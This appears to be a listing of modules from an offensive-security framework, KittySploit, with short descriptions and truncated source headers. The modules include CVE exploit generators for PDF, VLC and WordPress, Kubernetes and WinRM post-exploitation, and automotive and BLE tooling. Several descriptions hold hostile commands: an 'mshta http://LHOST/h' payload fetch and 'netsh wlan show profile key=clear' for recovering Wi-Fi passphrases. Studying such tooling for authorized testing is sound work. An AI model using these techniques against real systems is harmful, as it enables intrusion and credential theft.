PDF CVE-2026-57259 Foxit XXE Callback

Generate PDF PoC for CVE-2026-57259: Foxit XML/XXE phone-home via XMP parameter entity lab callback URL. For authorized parser/viewer regression. !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.pdf.mixins import PdfCveMixin from lib.pdf.generators.xxe import...

PDF CVE-2010-1240 Launch /Win Callback

Generate PDF PoC in the CVE-2010-1240 /Launch /Win family: OpenAction launches cmd.exe to start a callback URL authorized Windows viewer labs. !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.pdf.mixins import PdfCveMixin from lib.pdf.generators.actions import...

Planyo Online Reservation System CVE-2026-3576 detection

Detects Planyo Online Reservation System = 3.0 with unauthenticated SSRF via ulap.php ulapurl CVE-2026-3576. Confirms the localhost allow-list bypass with a differential probe disallowed host blocked, localhost not. Version/SSRF check only — no file:// LFI or content exfiltration. !/usr/bin/env...

Planyo ulap.php unauthenticated SSRF (CVE-2026-3576)

Confirms CVE-2026-3576 in Planyo Online Reservation System = 3.0: unauthenticated SSRF via /wp-content/plugins/planyo-online-reservation-system/ulap.php ulapurl. Uses a differential allow-list probe disallowed host blocked, localhost allowed and optionally fetches a lab canary bound on the target...

Nitro Pro PDF Reader 11 Javascript API RCE

CVE-2017-7442: Nitro / Nitro Pro PDF Reader 11 unsafe Javascript API. this.saveAs writes an embedded HTA to disk; app.launchURL with a c$: path bypasses the security dialog and executes it. Cmd/PowerShell payloads are run from the HTA directly. Binary MZ payloads are staged over HTTP as a...

Foxit PDF Reader Pointer Overwrite UAF

Foxit PDF Reader v9.0.1.1049 Use-After-Free CVE-2018-9948 / CVE-2018-9958. Select a Windows payload; the PDF ROP calls WinExec on a short command. delivery=http serves an HTA stage over HTTP mshta http://LHOST/h and can also serve the PDF. delivery=smb embeds a UNC path to an EXE/BAT you host...

Apache Zeppelin CVE-2024-31866 detection

Fingerprints Apache Zeppelin via /api/version and flags versions = ... and = AFFECTEDMIN and FIXEDVERSION potentially affected by " "CVE-2024-31866 interpreter classpath env injection. " "Version check only — no exploitation." , "author": "KittySploit Team", "severity": "critical", "cve":...

VLC Media Player MKV Use After Free

CVE-2018-11529: Use-after-free in VideoLAN VLC = 2.2.8 MKV parsing 32-bit and 64-bit. Generates two .mkv files: part1 vulnerability + heap spray to open in VLC, and part2 must sit in the same directory. Requires a raw shellcode payload = 0x300 bytes. Meterpreter-sized payloads often crash VLC —...

Linux EDR / eBPF Recon

Fingerprint common Linux EDR/XDR agents via processes, filesystem artifacts, kernel modules, tracefs, LSM stack, and BPF objects via bpftool when available. Scores vendors by indicator weight. !/usr/bin/env python3 -- coding: utf-8 -- from future import annotations import json import os import re...

Linux io_uring File Read

Upload a small helper that reads a remote file via iouring OPENAT/READV/CLOSE, falling back to raw syscalls if needed. Useful to bypass userland libc hooks that only intercept open/read/cat. !/usr/bin/env python3 -- coding: utf-8 -- """Read a remote Linux file via an iouring helper syscall...

WordPress wp2shell RCE (CVE-2026-63030 + CVE-2026-60137)

Exploits CVE-2026-63030 REST batch route confusion chained with CVE-2026-60137 WPQuery authornotin SQLi on WordPress 6.9.0-6.9.4 and 7.0.0-7.0.1: unauthenticated administrator creation, plugin upload, and command execution. Patched in 6.9.5 and 7.0.2. !/usr/bin/env python3 -- coding: utf-8 --...

BLE GATT Attack Surface

Analyzes GATT services and characteristics for risky read/write/notify exposure !/usr/bin/env python3 -- coding: utf-8 -- """BLE analyze — rank the GATT attack surface exposed by a BLE session.""" from kittysploit import from lib.protocols.ble.blesessionmixin import BleSessionMixin from datetime...

BLE GATT Fuzz

Fuzzes writable GATT characteristics with mutated payloads to probe firmware input handling disconnects, errors, anomalous notifies !/usr/bin/env python3 -- coding: utf-8 -- """ BLE GATT Fuzzer — mutates writes against writable characteristics on a live BLE session. """ from future import...

BleedingTooth Check

Assesses local Linux Bluetooth/kernel exposure to the BleedingTooth family CVE-2020-12351 BadKarma, CVE-2020-12352 BadChoice, CVE-2020-24490 BadVibes. Detection only — no exploit payload. !/usr/bin/env python3 -- coding: utf-8 -- """ BleedingTooth exposure check — local Linux kernel Bluetooth sta...

BLE GATT Characteristics

Enumerates GATT characteristics UUID, handle, properties for a BLE session !/usr/bin/env python3 -- coding: utf-8 -- """BLE gather — list GATT characteristics and properties.""" from kittysploit import from lib.protocols.ble.blesessionmixin import BleSessionMixin import json class ModulePost,...

Kubernetes API

Authenticates to a Kubernetes API server token, kubeconfig, or in-cluster SA and creates an interactive Kubernetes session !/usr/bin/env python3 -- coding: utf-8 -- """Kubernetes API bind listener — opens a cluster API session for post modules.""" from kittysploit import from...

DoIP UDS Query

Sends a raw or structured UDS request over DoIP diagnostic messages e.g. 0x22 DID read, 0x10 session control, 0x3E TesterPresent !/usr/bin/env python3 -- coding: utf-8 -- """ DoIP UDS Query - Send arbitrary UDS service requests over an active DoIP session """ from kittysploit import from...

DoIP Read VIN

Reads the vehicle VIN over DoIP using UDS ReadDataByIdentifier DID 0xF190 !/usr/bin/env python3 -- coding: utf-8 -- """ DoIP VIN Gather - Reads vehicle VIN via UDS ReadDataByIdentifier 0x22 / DID 0xF190 """ from kittysploit import from lib.protocols.doip.constants import UDSDIDVIN from...

BLE GATT Services

Enumerates GATT services exposed by a connected BLE peripheral !/usr/bin/env python3 -- coding: utf-8 -- """BLE gather — list GATT services on a connected peripheral.""" from kittysploit import from lib.protocols.ble.blesessionmixin import BleSessionMixin import json class ModulePost,...

Kubernetes RBAC PrivEsc

Analyzes SelfSubjectRulesReview / SelfSubjectAccessReview results for practical Kubernetes RBAC privilege-escalation paths !/usr/bin/env python3 -- coding: utf-8 -- """Kubernetes RBAC privilege-escalation path analysis.""" from kittysploit import from lib.protocols.kubernetes.kubernetessessionmix...

BLE Write Characteristic

Writes a value to a GATT characteristic on a connected BLE peripheral !/usr/bin/env python3 -- coding: utf-8 -- """BLE manage — write a GATT characteristic value.""" from kittysploit import from lib.protocols.ble.blesessionmixin import BleSessionMixin from lib.protocols.ble.bleclient import...

Kubernetes List Secrets

Lists Secrets and optionally decodes data values loot !/usr/bin/env python3 -- coding: utf-8 -- """Kubernetes Secrets gather — list and optionally decode secret values.""" from kittysploit import from lib.protocols.kubernetes.kubernetessessionmixin import KubernetesSessionMixin import json class...

BLE GATT Client

Connects to a Bluetooth Low Energy peripheral over GATT and creates a session for service enumeration, read/write, and notify capture !/usr/bin/env python3 -- coding: utf-8 -- """BLE GATT bind listener — connects to a peripheral and opens a GATT session.""" from kittysploit import from...

DoIP ECU Discovery

Discovers responsive ECUs on a DoIP gateway by probing logical addresses with UDS TesterPresent 0x3E !/usr/bin/env python3 -- coding: utf-8 -- """ DoIP ECU Discovery - Probes logical addresses with UDS TesterPresent over DoIP """ from kittysploit import from lib.protocols.doip.constants import...

Kubernetes List Pods

Lists pods in a namespace or all namespaces and flags privileged / hostPath containers !/usr/bin/env python3 -- coding: utf-8 -- """Kubernetes Pods gather — list pods and summarize privileged / hostPath risks.""" from kittysploit import from lib.protocols.kubernetes.kubernetessessionmixin import...

DoIP Client

Connects to an automotive DoIP ISO 13400 gateway, performs routing activation, and creates a session for UDS diagnostic post modules !/usr/bin/env python3 -- coding: utf-8 -- """DoIP bind listener — connects to a DoIP gateway and opens a diagnostic session.""" from kittysploit import from...

UART Listener

Opens a serial UART device USB-TTL, console header, etc. and creates a session for hardware gather/manage post modules !/usr/bin/env python3 -- coding: utf-8 -- """UART bind listener — opens a serial port session for hardware post modules.""" from kittysploit import from...

OPC UA Client

Connects to an OPC UA server and creates an interactive OPC UA shell session !/usr/bin/env python3 -- coding: utf-8 -- """OPC UA bind listener — opens an OPC UA session for node browsing and diagnostics.""" from kittysploit import from lib.protocols.ics.constants import ICSPROTOCOLPORTS from...

DoIP Read DTCs

Reads Diagnostic Trouble Codes from an ECU over DoIP using UDS ReadDTCInformation 0x19 !/usr/bin/env python3 -- coding: utf-8 -- """ DoIP DTC Read - Reads diagnostic trouble codes via UDS 0x19 over DoIP """ from kittysploit import from lib.protocols.doip.constants import UDSDTCREPORTBYSTATUSMASK...

BLE Notify Capture

Subscribes to GATT notifications/indications and captures values for a timed window !/usr/bin/env python3 -- coding: utf-8 -- """BLE gather — subscribe to notifications/indications and capture traffic.""" from kittysploit import from lib.protocols.ble.blesessionmixin import BleSessionMixin from...

BLE Read Characteristic

Reads a GATT characteristic value from a connected BLE peripheral !/usr/bin/env python3 -- coding: utf-8 -- """BLE manage — read a GATT characteristic value.""" from kittysploit import from lib.protocols.ble.blesessionmixin import BleSessionMixin from lib.protocols.ble.bleclient import...

Kubernetes Whoami

Resolves the current Kubernetes identity via SelfSubjectReview and SelfSubjectRulesReview !/usr/bin/env python3 -- coding: utf-8 -- """Kubernetes Whoami — identity and effective rules for the current API session.""" from kittysploit import from lib.protocols.kubernetes.kubernetessessionmixin impo...

Kubernetes Exec Pod

Executes a command inside a running pod through the Kubernetes API !/usr/bin/env python3 -- coding: utf-8 -- """Kubernetes exec into a pod via the API websocket exec endpoint.""" from kittysploit import from lib.protocols.kubernetes.kubernetessessionmixin import KubernetesSessionMixin import shle...

Kubernetes Port Forward

Forwards a local TCP port to a pod port through the Kubernetes portforward API pivot into cluster services !/usr/bin/env python3 -- coding: utf-8 -- """Kubernetes port-forward — local TCP listener to a pod port via the API.""" from kittysploit import from...

UART Capture Banner

Captures the console banner, login prompt, or bootloader output from an active UART session !/usr/bin/env python3 -- coding: utf-8 -- """ UART Banner Gather - Captures console / boot banner from a serial session """ from kittysploit import from lib.protocols.hardware.uartsessionmixin import...

UART BusyBox Audit

Audits BusyBox on an embedded UART console: detects presence, enumerates applets, and highlights risky networking / shell tools !/usr/bin/env python3 -- coding: utf-8 -- """ UART BusyBox Audit - Enumerates BusyBox applets and flags risky ones over UART """ from kittysploit import from...

UART Firmware Info

Probes a UART console with read-only commands to collect kernel, OS release, CPU, and bootloader / firmware identity strings !/usr/bin/env python3 -- coding: utf-8 -- """ UART Firmware Info - Probes serial console for OS / firmware identity """ from kittysploit import from...

UART Send Break

Sends a UART BREAK signal to interrupt bootloaders e.g. U-Boot or force console attention; optionally pulses DTR as a reset line !/usr/bin/env python3 -- coding: utf-8 -- """ UART Send Break - Sends a serial BREAK and optional DTR pulse on a UART session """ from kittysploit import from...

CANBUS OBD-II Query

Queries OBD-II data such as supported PIDs, VIN, custom PID values, and DTCs !/usr/bin/env python3 -- coding: utf-8 -- """ CANBUS OBD-II Query - Sends read-only OBD-II diagnostic queries over a CANBUS session Author: KittySploit Team Version: 1.0.0 """ from kittysploit import from...

Windows Gather Wireless Profile

Enumerate saved Wireless LAN profiles and attempt to recover cleartext key material with 'netsh wlan show profile key=clear' on a Windows shell or Meterpreter session. On modern Windows this yields the passphrase; on XP the PBKDF2-derived key may be shown instead. !/usr/bin/env python3 -- coding:...

CANBUS Replay Candidates

Scores buffered CAN messages as replay candidates based on periodicity, payload uniqueness, and event-like behavior !/usr/bin/env python3 -- coding: utf-8 -- """ CANBUS Replay Candidates - Ranks captured CAN frames as replay-attack candidates Author: KittySploit Team Version: 1.0.0 """ from...

CANBUS Session Info

Displays interface, CAN ID, timing, and message statistics for a CANBUS session !/usr/bin/env python3 -- coding: utf-8 -- """ CANBUS Session Info - Displays metadata and statistics for a CANBUS session Author: KittySploit Team Version: 1.0.0 """ from kittysploit import from core.outputhandler...

CANBUS ECU Discovery

Discovers ECUs by correlating CAN IDs across sessions, classifying diagnostic ranges, and optionally probing with UDS TesterPresent !/usr/bin/env python3 -- coding: utf-8 -- """ CANBUS ECU Discovery - Discovers ECUs via passive traffic analysis and optional UDS probing Author: KittySploit Team...

Windows Gather Wireless Current Connection Info

Gather information about the current connection on each wireless LAN interface via 'netsh wlan show interfaces' on a Windows shell or Meterpreter session. !/usr/bin/env python3 -- coding: utf-8 -- """ Gather current WLAN connection details on each wireless interface Metasploit-style...

WinRM Lateral Movement

Authenticate to a remote host via WinRM using supplied credentials or credentials from the current session metadata and open a new WinRM session. !/usr/bin/env python3 -- coding: utf-8 -- """ Pivot from an existing WinRM session or supplied credentials to another Windows host over WinRM and...

Elevate Session (Keep Root)

Marks the active Linux/SSH session so subsequent post modules run as root, and auto-escalates SSH interactive PTY sessions sudo -i on sessions interact. Uses native root when already uid 0, otherwise sudo -n or sudo -S with a password. Solves SSH sessions where interactive sudo/su is lost after...

WinRM Gather PowerShell History

Read PSReadLine ConsoleHosthistory.txt files through a WinRM session !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.protocols.winrm.winrmsessionmixin import WinRMSessionMixin import re class ModulePost, WinRMSessionMixin: info = "name": "WinRM Gather PowerShell History...

WinRM Gather RDP Files

Find and parse saved .rdp client files through a WinRM session !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.protocols.winrm.winrmsessionmixin import WinRMSessionMixin import re class ModulePost, WinRMSessionMixin: info = "name": "WinRM Gather RDP Files", "description...

WinRM Gather VPN Profiles

List VPN connections and rasphone.pbk phonebooks through WinRM !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.protocols.winrm.winrmsessionmixin import WinRMSessionMixin import re class ModulePost, WinRMSessionMixin: info = "name": "WinRM Gather VPN Profiles",...

WinRM Config Audit

Audit local WinRM service configuration, listeners, authentication, and TrustedHosts !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import class ModulePost: info = "name": "WinRM Config Audit", "description": "Audit local WinRM service configuration, listeners, authentication, and...